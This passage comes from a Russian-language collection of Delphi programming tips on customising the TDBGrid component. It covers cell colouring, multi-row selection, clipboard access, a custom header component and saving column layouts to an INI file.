  Selected := (THackDBGrid(Grid).Datalink.Active) and (Grid.Row-1 = THackDBGrid(Grid).Datalink.ActiveRecord);

  if Marked then
  begin
    Grid.Canvas.Brush.Color:=$DFEFDF;;
    Grid.Canvas.Font.Color :=clBlack;
  end;

  if Selected then
  begin
    Grid.Canvas.Brush.Color:=$FFFBF0;
    Grid.Canvas.Font.Color :=clBlack;
    if Marked then
      Grid.Canvas.Brush.Color:=$EFE3DF; { $8F8A30 }
  end;
  Grid.DefaultDrawColumnCell(Rect, DataCol, Column, State);
end;

где:

THackDBGrid = class(TDBGrid)
  property DataLink;
  property UpdateLock;
end;

Взято с http://delphiworld.narod.ru


Буфер обмена и ячейки DBGrid

Внутренний (in-place) редактор является защищенным свойством TCustomGrid, поэтому тут придется немного поколдовать. Вы можете сделать приблизительно так:

type
  TMyCustomGrid = class(TCustomGrid)
  public
    property InplaceEditor;
  end;

...

if ActiveControl is TCustomGrid then
  TMyCustomGrid(ActiveControl).InplaceEditor.CopyToClipboard;

Взято с http://delphiworld.narod.ru


Как сделать, чтобы в DBGrid вместо цифр были соответствующие константы

procedure TForm1.Grid1DrawColumnCell(Sender: TObject; const Rect: TRect;
          DataCol: Integer; Column: TColumn; State: TGridDrawState);
begin
  // ВАЖНО: имя поля большими буквами!
  if Column.Field.FieldName = 'PLATEZH' then
  begin
    Grid1.Canvas.FillRect(Rect);
    if Column.Field.AsInteger = 0 then
      Grid1.Canvas.TextOut(Rect.Left + 1, Rect.Top + 2, 'наличными')
    else
      Grid1.Canvas.TextOut(Rect.Left + 1, Rect.Top + 2, 'безнал');
  end;
end;

Взято с http://delphiworld.narod.ru


Шапка в TDBGrid

Уже реализовано в виде вот этого компонента

unit bdbgrid;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    Grids, DBGrids, Math;

type
  TOnDrawTitleEvent = procedure(ACol: integer; ARect: TRect; var TitleText:
    string) of object;

  TBitDBGrid = class(TDBGrid)
  private
    FBitmapBrowse: TBitmap;
    FBitmapEdit: TBitmap;
    FBitmapInsert: TBitmap;
    FBitmapFill: TBitmap;
    FRealTitleFont: TFont;
    FOnDrawTitle: TOnDrawTitleEvent;
    FResizeFlag: boolean;
    { Private declarations }
    procedure SetRealTitleFont(Value: TFont);
    procedure UpdateTitlesHeight;
  protected
    procedure DrawCell(ACol, ARow: Longint; ARect: TRect; AState:
      TGridDrawState); override;
    procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
      override;
    procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
      override;
    { Protected declarations }
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    { Public declarations }
  published
    property OnDrawTitle: TOnDrawTitleEvent read FOnDrawTitle write
      FOnDrawTitle;
    property RealTitleFont: TFont read FRealTitleFont write SetRealTitleFont;
    { Published declarations }
  end;

procedure Register;

implementation

var
  DrawBitmap: TBitmap;

function Max(X, Y: Integer): Integer;
begin
  Result := Y;
  if X > Y then
    Result := X;
end;

procedure WriteText(ACanvas: TCanvas; ARect: TRect; DX, DY: Integer; const Text:
  string; Alignment: TAlignment);
// © Borland function :)
const
  AlignFlags: array[TAlignment] of Integer =
  (DT_LEFT or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX,
    DT_RIGHT or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX,
    DT_CENTER or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX);
var
  B, R: TRect;
  I, Left: Integer;
begin
  with DrawBitmap, ARect do { Use offscreen bitmap to eliminate flicker and }
  begin { brush origin tics in painting / scrolling. }
    Width := Max(Width, Right - Left);
    Height := Max(Height, Bottom - Top);
    R := Rect(DX, DY, Right - Left - 1, Bottom - Top - 1);
    B := Rect(0, 0, Right - Left, Bottom - Top);
  end;
  with DrawBitmap.Canvas do
  begin
    DrawBitmap.Canvas.CopyRect(B, ACanvas, ARect);
    Font := ACanvas.Font;
    Font.Color := ACanvas.Font.Color;
    Brush := ACanvas.Brush;
    SetBkMode(Handle, TRANSPARENT);
    DrawText(Handle, PChar(Text), Length(Text), R,
      AlignFlags[Alignment]);
  end;
  ACanvas.CopyRect(ARect, DrawBitmap.Canvas, B);
end;

constructor TBitDBGrid.Create(AOwner: TComponent);
begin
  inherited Create(Aowner);
  FRealTitleFont := TFont.Create;
  FResizeFlag := false;
end;

destructor TBitDBGrid.Destroy;
begin
  FRealTitleFont.Free;
  inherited Destroy;
end;

procedure TBitDBGrid.UpdateTitlesHeight;
var
  Loop: integer;
  MaxTextHeight: integer;
  RRect: TRect;
begin
  MaxTextHeight := 0;
  for loop := 0 to Columns.Count - 1 do
  begin
    RRect := CellRect(0, 0);
    RRect.Right := Columns[Loop].Width;
    RRect.Left := 0;
    Canvas.Font := RealTitleFont;
    MaxTextHeight := Max(MaxTextHeight, DrawText(Canvas.Handle,
      PChar(Columns[Loop].Title.Caption),
      Length(Columns[Loop].Title.Caption), RRect,
      DT_CALCRECT + DT_WORDBREAK)
      );
  end;
  if TitleFont.Height <> -MaxTextHeight then
    TitleFont.Height := -MaxTextHeight;
end;

procedure TBitDBGrid.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y:
  Integer);
begin
  if MouseCoord(X, Y).Y = 0 then
    FResizeFlag := true;
  inherited MouseDown(Button, Shift, X, Y);
end;

procedure TBitDBGrid.MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y:
  Integer);
begin
  inherited MouseUp(Button, Shift, X, Y);
  if FResizeFlag then
  begin
    FResizeFlag := false;
    UpdateTitlesHeight;
  end;
end;

procedure TBitDBGrid.DrawCell(ACol, ARow: Longint; ARect: TRect; AState:
  TGridDrawState);
var
  Indicator: TBitmap;
  TitleText: string;
  Al: TAlignment;
begin
  if not ((gdFixed in AState) and ((ARow = 0) and (dgTitles in Options) and (ACol
    <> 0))) then
    inherited DrawCell(ACol, ARow, ARect, AState)
  else
  begin
    if DefaultDrawing then
    begin
      DrawEdge(Canvas.Handle, ARect, BDR_RAISEDINNER, BF_BOTTOMLEFT);
      DrawEdge(Canvas.Handle, ARect, BDR_RAISEDINNER, BF_TOPRIGHT);
      InflateRect(ARect, -1, -1);
      Canvas.Brush.Color := FixedColor;
      Canvas.FillRect(ARect);
    end;
    TitleText := Columns[ACol - 1].Title.Caption;
    if Assigned(OnDrawTitle) then
      OnDrawTitle(ACol, ARect, TitleText);
    if DefaultDrawing and (TitleText <> '') then
    begin
      Canvas.Brush.Style := bsClear;
      Canvas.Font := RealTitleFont;
      if ACol > 0 then
        Al := Columns[ACol - 1].Title.Alignment
      else
        Al := Columns[0].Title.DefaultAlignment;
      WriteText(Canvas, ARect, 2, 2, TitleText, Al);
    end;
  end;
end;

procedure TBitDBGrid.SetRealTitleFont(Value: TFont);
begin
  FRealTitleFont.Assign(Value);
  Repaint;
end;

procedure Register;
begin
  RegisterComponents('Andre VCL', [TBitDBGrid]);
end;

initialization
  DrawBitmap := TBitmap.Create;

finalization
  DrawBitmap.Free;

end.

Взято с http://delphiworld.narod.ru


Позиция ячейки в TDBGrid

В TCustomGrid определен метод CellRect, который, к сожалению, защищен. Это означает, что даный метод доступен только для TCustomGrid и его наследников. Но все-таки существует немного мудреное решение вызова данного метода:

type
  TMyDBGrid = class(TDBGrid)
    public
      function CellRect(ACol, ARow: Longint): TRect;
  end;

function TMyDBGrid.CellRect(ACol, ARow: Longint): TRect;
begin
  Result := inherited CellRect(ACol, ARow);
end;

Вы можете сделать приведение типа вашего DBGrid к TMyDBGrid (это возможно, поскольку CellRect статический метод) и вызвать CellRect:

Rectangle := TMyDBGrid(SomeDBGrid).CellRect(SomeColumn, SomeRow);

procedure TfmLoadIn.DBGrid1DrawColumnCell(Sender: TObject;
  const Rect: TRect; DataCol: Integer; Column: TColumn;
  State: TGridDrawState);
const
  Disp = 2; //Правильно выравниваем компонент
begin
  inherited;
  if (gdFocused in State) then
  begin
    if (Column.FieldName = 'TYPEDescription') then
    begin
      dlTYPEDescription.Left := Rect.Left + DBGrid1.Left + Disp;
      dlTYPEDescription.Top := Rect.Top + DBGrid1.top + Disp;
      dlTYPEDescription.Width := Rect.Right - Rect.Left;
      dlTYPEDescription.Height := Rect.Bottom - Rect.Top;
      dlTYPEDescription.Visible := True;
    end;
  end;
end;

Взято с http://delphiworld.narod.ru


Как сделать, чтобы необходимая ячейка DBGrid получила фокус ввода

Для установки в ПОЛЕ, связанное с гридом, используется метод TField.FocusControl

Взято с http://delphiworld.narod.ru


Текущая строка и поле в DBGrid

unit dbcolform;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Grids, DBGrids, DB, DBTables;

type
  TForm1 = class(TForm)
    Table1: TTable;
    DataSource1: TDataSource;
    DBGrid1: TDBGrid;
    Label1: TLabel;
    procedure DBGrid1ColEnter(Sender: TObject);
    procedure DataSource1DataChange(Sender: TObject; Field: TField);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

type
  TFake = class (TDBGrid);

procedure TForm1.DBGrid1ColEnter(Sender: TObject);
begin
  Label1.Caption := Format (
    'Column: %2d; Row: %2d',
    [TFake (DbGrid1).Col,
    TFake (DbGrid1).Row]);
end;

procedure TForm1.DataSource1DataChange(Sender: TObject; Field: TField);
begin
  DBGrid1ColEnter (sender);
end;

end.

Взято с http://delphiworld.narod.ru


DbGrid со свойствами Col и Row

{
Код улучшенного TDBGrid, имеющего свойства Col,
Row и Canvas и метод CellRect. Это чрезвычайно
полезно в случае, если вы, к примеру, хотите
получить выпадающий список на месте редактируемой
пользователем ячейки.
}

unit VUBComps;

interface

uses

  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Grids, DBGrids, DB, Menus;

type

  TDBGridVUB = class(TDBGrid)
  private
    { Private declarations }
  protected
    { Protected declarations }
  public
    property Canvas;
    function CellRect(ACol, ARow: Longint): TRect;
    property Col;
    property Row;

    procedure Register;

implementation

procedure Register;
begin

  RegisterComponents('VUBudget', [TDBGridVUB]);
end;

function TDBGridVUB.CellRect(ACol, ARow: Longint): TRect;
begin

  Result := inherited CellRect(ACol, ARow);
end;

end.

Взято с http://delphiworld.narod.ru


Как выделить цветом текущую строку в TDBGrid

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect:
 TRect;
   Field: TField; State: TGridDrawState);
 begin
   if gdFocused in State then
   with (Sender as TDBGrid).Canvas do
   begin
     Brush.Color := clRed;
     FillRect(Rect);
     TextOut(Rect.Left, Rect.Top, Field.AsString);
   end;
 end;

Взято с http://delphiworld.narod.ru


DBGrid CutToClipboard

Внутри TDBGrid "зашит" защищенный (protected) элемент управления типа TInPlaceEdit, потомок TCustomMaskEdit. Данный элемент управляется комбинацией клавиш [Shift]+[Ins] и [Shift]+[Del]. Но для нас не существует способа оперировать элементом, поскольку он является защищенным членом.

Да, но вы можете сделать это обманным путем. Попробуйте так:

procedure TForm1.Paste1Click(Sender: TObject);
begin
  SendMessage(GetFocus, WM_PASTE, 0, 0);
end;

procedure TForm1.Copy1Click(Sender: TObject);
begin
  SendMessage(GetFocus, WM_COPY, 0, 0);
end;

Эти методы привязаны к вашим пунктам меню. Они посылают сообщение окну с текущим фокусом. Если это элемент управления TInPlaceEdit, то мы добились того, чего хотели.

Взято с http://delphiworld.narod.ru


DBGrid DefaultDrawDataCell

TDBGrid имеет недокументированный в электронной справке метод DefaultDrawDataCell.

Вот пример его использования:

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject;
const Rect: TRect; Field: TField; State: TGridDrawState);
begin
  with Sender as TDBGrid do
  begin
    Canvas.Font.Color := clRed;
    DefaultDrawDataCell(Rect, Field, State);
  end;
end;

Взято с http://delphiworld.narod.ru


Как программно перевести DBGrid в режим редактирования

Переведите таблицу в режим редактирования, затем получите дескриптор (handle) окна редактирования и перешлите ей сообщение EM_SETSEL. В качестве параметров вы должны переслать начальную позицию курсора, и конечную позицию, определяющую конец выделения текста цветом. В приведенном примере курсор помещается во вторую позицию, текст внутри ячейки не выделяется.

procedure TForm1.Button1Click(Sender: TObject);
var
       h : THandle;
begin
       Application.ProcessMessages;
       DbGrid1.SetFocus;
       DbGrid1.EditorMode := true;
       Application.ProcessMessages;
       h:= Windows.GetFocus;
       SendMessage(h, EM_SETSEL, 2, 2);
end;

Взято с http://delphiworld.narod.ru


DbGrid и множественный выбор

При включении флажка [dgMultiSelect] в свойстве-наборе Options компонента DBGrid, вы добавляете к табличной сетке возможность множественного выбора записей.

Выбранные вами записи представлены в виде закладок и храняться в свойстве SelectedRows.

Свойство SelectedRows является объектом, имеющим тип TBookmarkList. Его свойства и методы описаны ниже.

// property SelectedRows: TBookmarkList read FBookmarks;

//   TBookmarkList = class
//   public

{* Метод Clear освобождает все выбранные в DBGrid записи *}
// procedure Clear;

{* Метод Delete удаляет все выбранные строки из набора данных *}
// procedure Delete;

{* Метод Find определяет наличие закладки в выбранном списке. *}
// function  Find(const Item: TBookmarkStr;
//      var Index: Integer): Boolean;

{* Метод IndexOf возвращает индекс закладки, расположенной в свойстве Items. *}
// function IndexOf(const Item: TBookmarkStr): Integer;

{* Метод Refresh возвращает логическую величину, уведомляющую о том, ч
то в то время, пока в табличной сетке была выбрана запись, были добавлены
(удалены) какие-то данные. Метод Refresh может быть использован для
обновления списка выбранных записей для уменьшения возможности получения
удаленной записи. *}
// function Refresh: Boolean;  True = orphans found

{* Свойство Count возвращает количество выбранных в настоящий
момент элементов в DBGrid *}
// property Count: Integer read GetCount;

{* Свойство CurrentRowSelected содержит логическую величину,
зависящую от того, выбрана текущая строка или нет. *}
// property CurrentRowSelected: Boolean
//      read GetCurrentRowSelected
//      write SetCurrentRowSelected;

{* Свойство Items - TStringList TBookmarkStr *}
// property Items[Index: Integer]: TBookmarkStr
//      read GetItem; default;

//  end;

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Grids, DBGrids, DB, DBTables;

type
  TForm1 = class(TForm)
    Table1: TTable;
    DBGrid1: TDBGrid;
    Count: TButton;
    Selected: TButton;
    Clear: TButton;
    Delete: TButton;
    Select: TButton;
    GetBookMark: TButton;
    Find: TButton;
    FreeBookmark: TButton;
    DataSource1: TDataSource;
    procedure CountClick(Sender: TObject);
    procedure SelectedClick(Sender: TObject);
    procedure ClearClick(Sender: TObject);
    procedure DeleteClick(Sender: TObject);
    procedure SelectClick(Sender: TObject);
    procedure GetBookMarkClick(Sender: TObject);
    procedure FindClick(Sender: TObject);
    procedure FreeBookmarkClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Bookmark1: TBookmark;
  z: Integer;

implementation

{$R *.DFM}

//Пример использования свойства Count

procedure TForm1.CountClick(Sender: TObject);
begin
  if DBgrid1.SelectedRows.Count > 0 then
  begin
    showmessage(inttostr(DBgrid1.SelectedRows.Count));
  end;
end;

//Пример использования свойства CurrentRowSelected

procedure TForm1.SelectedClick(Sender: TObject);
begin
  if DBgrid1.SelectedRows.CurrentRowSelected then
    showmessage('Выбрана');
end;

//Пример использования метода Clear

procedure TForm1.ClearClick(Sender: TObject);
begin
  dbgrid1.SelectedRows.Clear;
end;

//Пример использования метода Delete

procedure TForm1.DeleteClick(Sender: TObject);
begin
  DBgrid1.SelectedRows.Delete;
end;

{*
Данные пример проходит в цикле все выбранные
записи табличной сетки и отображает второе
поле набора данных.

Метод DisableControls используется в случае,
когда необходимо запретить обновление DBGrid
при изменении набора данных. Последняя позиция
набора данных сохраняется как TBookmark.

Метод IndexOf вызывается при необходимости
проверить существование закладки.
Решение использовать метод IndexOf, а не
Refresh, должно приниматься исходя из
специфики приложения.
*}

procedure TForm1.SelectClick(Sender: TObject);
var
  x: word;
  TempBookmark: TBookMark;
begin
  DBGrid1.Datasource.Dataset.DisableControls;
  with DBgrid1.SelectedRows do
    if Count > 0 then
    begin
      TempBookmark := DBGrid1.Datasource.Dataset.GetBookmark;
      for x := 0 to Count - 1 do
      begin
        if IndexOf(Items[x]) > -1 then
        begin
          DBGrid1.Datasource.Dataset.Bookmark := Items[x];
          showmessage(DBGrid1.Datasource.Dataset.Fields[1].AsString);
        end;
      end;
    end;
  DBGrid1.Datasource.Dataset.GotoBookmark(TempBookmark);
  DBGrid1.Datasource.Dataset.FreeBookmark(TempBookmark);
  DBGrid1.Datasource.Dataset.EnableControls;
end;

{*
Данный пример позволит вам установить закладку и
затем найти ее в списке выбранных записей
компонента DBGrid.
*}

//Устанавливаем закдадку

procedure TForm1.GetBookMarkClick(Sender: TObject);
begin
  Bookmark1 := DBGrid1.Datasource.Dataset.GetBookmark;
end;

//Освобождаем закладку

procedure TForm1.FreeBookmarkClick(Sender: TObject);
begin
  if assigned(Bookmark1) then
  begin
    DBGrid1.Datasource.Dataset.FreeBookmark(Bookmark1);
    Bookmark1 := nil;
  end;
end;

//Испольуем метод Find для установления позиции
//записи-закладки в списке выбранных записей компонента DBGrid

procedure TForm1.FindClick(Sender: TObject);
begin
  if assigned(Bookmark1) then
  begin
    if DBGrid1.SelectedRows.Find(TBookMarkStr(Bookmark1), z) then
      showmessage(inttostr(z));
  end;
end;

end.

Взято с http://delphiworld.narod.ru

Данный пример позволяет производить множественный выбор записей
в табличной сетке и отображать второе поле
набора данных.

Метод DisableControls применяется для того, чтобы
DBGrid не обновлялся во время изменения набора данных.
Последняя позиция набора данных сохраняется как
TBookmark.

Метод IndexOf вызывается для проверки
существования закладки.
Решение использовать метод IndexOf, а не метод
Refresh должно определяться
спецификой приложения.

procedure TForm1.SelectClick(Sender: TObject);
var
  x: word;
  TempBookmark: TBookMark;
begin
  DBGrid1.Datasource.Dataset.DisableControls;
  with DBgrid1.SelectedRows do
    if Count <> 0 then
    begin
      TempBookmark := DBGrid1.Datasource.Dataset.GetBookmark;
      for x := 0 to Count - 1 do
      begin
        if IndexOf(Items[x]) > -1 then
        begin
          DBGrid1.Datasource.Dataset.Bookmark := Items[x];
          showmessage(DBGrid1.Datasource.Dataset.Fields[1].AsString);
        end;
      end;
    end;
  DBGrid1.Datasource.Dataset.GotoBookmark(TempBookmark);
  DBGrid1.Datasource.Dataset.FreeBookmark(TempBookmark);
  DBGrid1.Datasource.Dataset.EnableControls;
end;

Взято с http://delphiworld.narod.ru

Существует одно свойство, не упомянутое в файлах помощи (оплошность, господа программисты из Borland), имеющее имя SelectedRows, и вот как его можно использовать:

procedure TfrmGrid.Button1Click(Sender: TObject);
var
  i: integer;
begin
  For i := 0 to DBGrid1.SelectedRows.Count - 1 do
  begin
    Table1.GoToBookmark(TBookmark(DBGrid1.SelectedRows[i]));
    Table1.Delete;
  end;
end;

Взято с http://delphiworld.narod.ru


Как в TDBGrid узнать над каким полем висит мышь?

var
  ScrPt, GrdPt: TPoint;
  Cell: TGridCoord;
begin
  ScrPt := Mouse.CursorPos;
  GrdPt := DBGrid.ScreenToClient(ScrPt);
  Cell := DBGrid.MouseCoord(GrdPt.X, GrdPt.Y);
  // Col := Cell.X;
  // Row := Cell.Y;
end;

 ...
 FieldText: string;
 DLink: TDataLink;
 OldActiveRec: Integer;
 ...
 Cell := DBGrid.MouseCoord(GrdPt.X, GrdPt.Y);
 FieldText := '';
 DLink := THackDBGrid(DBGrid).DataLink;
 if Assigned(DLink) then
 begin
   if (Cell.X < = 0)or(Cell.Y < = 0) then Exit;
   OldActiveRec := DLink.ActiveRecord;
   try
     DLink.ActiveRecord := Cell.Y-1{TitleOffset};
     FieldText := DBGrid.Columns[Cell.X-1{IndicatorOffset}].Field.Text;
   finally
     DLink.ActiveRecord := OldActiveRec;
   end;
 end;

Взято с http://delphiworld.narod.ru


Как заблокировать TDBGrid от автодобавления новой записи

Добавьте в обработчик события вашего TTable "BeforeInsert" следующую строку:

procedure TForm1.Tbable1BeforeInsert(DataSet: TDataset);
begin
  Abort;  // <<---эту строчку
end;

Осуществляем перехват нажатия клавиши и проверку на конец файла (end-of-file):

procedure TForm8.DBGrid1KeyDown(Sender: TObject;
  var Key: Word; Shift: TShiftState);
begin
  if (Key = VK_DOWN) then
  begin
    TTable1.DisableControls;
    TTable1Next;
    if TTable1.EOF then
      Key := 0
    else
      TTable1.Prior;
    TTable1.EnableControls;
  end;
end;

Взято с http://delphiworld.narod.ru


Как в TDBGrid pазpешить только опеpации UPDATE записей

А я делаю так. На DataSource, к которому прицеплен Grid, вешаю обработчик на событие OnStateChange. Ниже текст типичного обратчика

if DBGrid1.DataSource.DataSet.State in [dsEdit, dsInsert] then
  DBGrid1.Options := DBGrid1.Options + goRowSelect
else
  DBGrid1.Options := DBGrid1.Options - goRowSelect;

Дело в том, что если у Grid'а стоит опция goRowSelect, то из Grid'а невозможно добавить запись. Ну а когда програмно вызываешь редактирование или вставку, то курсор принимает обычный вид и все Ok.

Лучше использовать конструкцию "State in dsEditModes"

Взято с http://delphiworld.narod.ru


Как заменить данные в столбце компонента TDBGrid

Нередко в колонке DBGrid нужно вывести не реальное значение, хранящееся в поле соответствующей таблицы, а другие данные, соответствующие имеющимся (например, символьную строку вместо ее числового кода). В этом случае также используется метод TextOut свойства Canvas компонента TDBGrid:

Соответствующий код для Delphi имеет вид:

procedure TForm1.DBGridDrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumn;  State: TGridDrawState);
begin
  if Column.FieldName = 'VenueNo' then
    with DBGrid1.Canvas do
    begin
      Brush.Color := clWhite;
      FillRect(Rect);
      if Table.FieldByName('VanueNo').Value = 1 then
      begin
        Font.Color := clRed;
        TextOut(Rect.Right - 2 - DBGrid1.Canvas.TextWidth('our vanue'),
        Rect.Top + 2, 'our vanue');
      end
      else
        TextOut(Rect.Right - 2 - DBGrid1.Canvas.TextWidth('other vanue'),
        Rect.Top + 2, 'other vanue');
    end;
end;

Еще один пример – использование значков из шрифтов Windings или Webdings в качестве подставляемой строки.

Соответствующий код для Delphi имеет вид:

procedure TForm1.DBGridDrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumn;  State: TGridDrawState);
begin
  if Column.FieldName = 'VenueNo' then
    with DBGrid1.Canvas do
    begin
      Brush.Color := clWhite;
      FillRect(Rect);
      Font.name := 'Windings';
      Font.Size := -14;
      if Table.FieldByName('VanueNo').Value = 1 then
      begin
        Font.Color := clRed;
        TextOut(Rect.Right - 2 - DBGrid1.Canvas.TextWidth('J'),
        Rect.Top + 2, 'J');
      end
      else
        TextOut(Rect.Right - 2 - DBGrid1.Canvas.TextWidth('F'),
        Rect.Top + 2, 'F');
    end;
end;

Взято с http://delphiworld.narod.ru


Как поместить графическое изображение в TDBGrid

Использование свойства Canvas компонента TDBGrid в методе OnDrawColumnCell позволяет не только выводить в ячейке текст методом TextOut, но и размещать в ячейках графические изображения. В этом случае используется метод Draw свойства Canvas.

Модифицируем наш пример, добавив в форму компонент TImageList и поместив в него несколько изображений.

Модифицируем код нашего приложения:

Соответствующий код для Delphi имеет вид:

procedure TForm1.DBGridDrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumn;  State: TGridDrawState);
var
  Im1: TBitmap;
begin
  Im1 := TBitmap.Create;
  if Column.FieldName = 'VenueNo' then
    with DBGrid1.Canvas do
    begin
      Brush.Color := clWhite;
      FillRect(Rect);
      if Table.FieldByName('VanueNo').Value = 1 then
        ImageList1.GetBitmap(0, Im1)
      else
        ImageList1.GetBitmap(2, Im1);
      Draw(round((Rect.Left + Rect.Right - Im1.Width) / 2), Rect.Top, Im1);
    end;
end;

Теперь в TDBGrid в колонке VenueNo находятся графические изображения.

Взято с http://delphiworld.narod.ru


Как определить изменение фокуса строки в TDBGrid

Используйте событие OnDataChange объекта Datasource, соединенного с DBGrid. Если параметр State в обработчике событие равен dsBrowse, значит вы перешли в новую строку (или только что открыли таблицу).

Почему сетка не поддерживает такое событие? Поскольку сетка может быть не единственным элементом управления, оторбажающим данные из текущей строки и может быть не единственным элементом, позволяющим осуществлять перемещение от строки к строке. С помощью Datasource обработка события осуществляется централизованно.

Я не уверен в том, что проблему можно решить, обрабатывая событие одинарного щелчка, для отслеживания события изменения строк я рекомендую использовать событие TDatasource.OnDataChange, а для колонок - TDBGrid.OnColEnter/Exit.

Лично я пользуюсь следующей рабочей технологией:

Для того, чтобы обнаружить изменения текущей строки, воспользуйтесь событием TDataSource OnDataChange. OnDataChange возникает при прокрутке или щелчке на другой строке. Обработчик события может выглядеть приблизительно так:

procedure Form1.DSrc1DataChange(Sender: TObject; Field: TField);

где Field является колонкой, где произошло изменение.

Поля TTable могут использоваться для сравнения текущих выбранных строк полей (ключ) с вашими требованиями. С той же целью может быть использовано и свойство TDBGrid Fields. Для примера:

if tbl1.Fields[0].AsString = 'BlaBlaBla' then ...

или

if dbGrid1.Fields[I].IsNull then ...

Для отслеживания изменения колонки, используйте события TDBGrid OnColExit & OnColEnter. Для определения выбранной к настоящему времени колонки воспользуйтесь свойствами TDBGrid SelectedField и SelectedIndex.
Когда выбирается другая колонка другой строки, вы получаете события OnColExit, OnColEnter и OnDataChange.

Можно пойти и "кривым" путем, взявшись за обработку события TDBGrid OnDrawDataCell, которое возникает когда ячейка выбирается, или когда сетка скроллируется. Обработчик события может выглядеть примерно так:

procedure Form1.dbGrid1DrawDataCell(Sender: TObject; Rect: TRect;
Field: TField; State: TGridDrawState);

При изменении ячейки вы получаете поток событий, поэтому вам нужно каким-то образом их фильтровать.

Если у вас нет проблем в создании "101 изменения" стандартных компонентов - что является проблемой для меня 8-), то попробуйте это. Это легко.
Чтобы иметь доступ к индексу строки или колонки выбранной ячейки, вы должны унаследовать ваш класс от TCustomGrid и опубликать свойства времени выполнения Row и Col (текущие строка и колонка сетки, не таблицы!!):

type
TSampleDBGrid = class(TCustomGrid)
public
property Col;
property Row;
end;

в соответствующей процедуре или обработчике события осуществите приведение типа:

var
G: TSampleDBGrid;
begin
G := TSampleDBGrid(myDBGrid1);
if G.Row = I then ...
if G.Col = J then ...

Дело в том, что TDBGrid является потомком TCustomGrid, который имеет несколько свойств, содержащих координаты сетки, но это не опубликовано в TDBGrid.

...из чего я могу заключить, что вы должны это сделать программным путем. Подразумеваем, что сетка уже существует, и у вас есть доступ к основной таблице TTable:

grid.colcount := dbGrid.fieldcount;
table.first;
row := 0;
while not table.eof do
  begin
    grid.rowcount := row + 1;
    for i := 0 to grid.colcount-1 do
      grid.cells[i,row] := dbGrid.fields[i].asString;
    table.next;
    inc (row);
  end;

Могут быть ошибки, но это должно помочь.

Посмотрите на следующий код, он может вам помочь. Он берет у элемента управления свойсто 'Name' и помещает его в свойство 'Caption' метки.

unit Unit1;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Edit1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure Edit2MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  close;
end;

procedure TForm1.Edit1MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  Label1.Caption := TEdit(Sender).Name;
end;

procedure TForm1.Edit2MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  Label1.Caption := TEdit(Sender).Name;
end;

end.

Взято с http://delphiworld.narod.ru


DBGrid - сохранение конфигурации

Нижеописанный код создает, сохраняет и загружает конфигурационный файл и изменяет размеры столбцов таблицы DBGRID

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, Grids, DBGrids, Db, DBTables, StdCtrls, IniFiles;
...

procedure TMainForm.NewIni(const NomeIni: string);
var
  F: System.Text;
  i: Byte;
begin
  System.Assign(F, NomeIni);
  System.ReWrite(F);
  System.WriteLn(F, '[Campi_Ordine]');
  for i:=1 to Table1.FieldCount do
    System.WriteLn(F, 'Campo',i,'=',Table1.Fields[i-1].FieldName);
  System.WriteLn(F, '');
  System.WriteLn(F, '[Campi_Size]');
  for i:=1 to Table1.FieldCount do
    System.WriteLn(F, 'Campo',i,'=',Table1.Fields[i-1].DisplayWidth);
  System.Close(F);
end;

procedure TMainForm.SaveIni(const FN: string);
var
  Ini: TIniFile;
  i: Integer;
  S : string;
begin
  NewIni(FN);
  Ini := TIniFile.Create(FN);
  with Ini do begin
    for i:=1 to Table1.FieldCount do
    begin
      S:= Table1.Fields[i-1].FieldName;
      WriteString('Campi_Ordine', 'Campo'+IntToStr(i),
      Table1.Fields[i-1].FieldName);
      WriteInteger('Campi_Size', 'Campo'+IntToStr(i),
      Table1.Fields[i-1].DisplayWidth);
    end;
  end;
  Ini.Free;
end;

procedure TMainForm.LoadIni(const FN: string);
var
  Ini: TIniFile;
  i: Integer;
  j: Longint;
  S: string;

  function MyReadInteger(const Section, Ident: string): Longint;
  begin
    result := Ini.ReadInteger(Section, Ident, -1);
    if result=-1 then
      raise Exception.Create('Errore nel file di configurazione.');
  end;

  function MyReadString(const Section, Ident: string): string;
  begin
    result := Ini.ReadString(Section, Ident, '');
    if result='' then
      raise Exception.Create('Errore nel file di configurazione.');
  end;

begin
  Ini := TIniFile.Create(FN);
  try
    with Ini do
    begin
      for i:=1 to Table1.FieldCount do
      begin
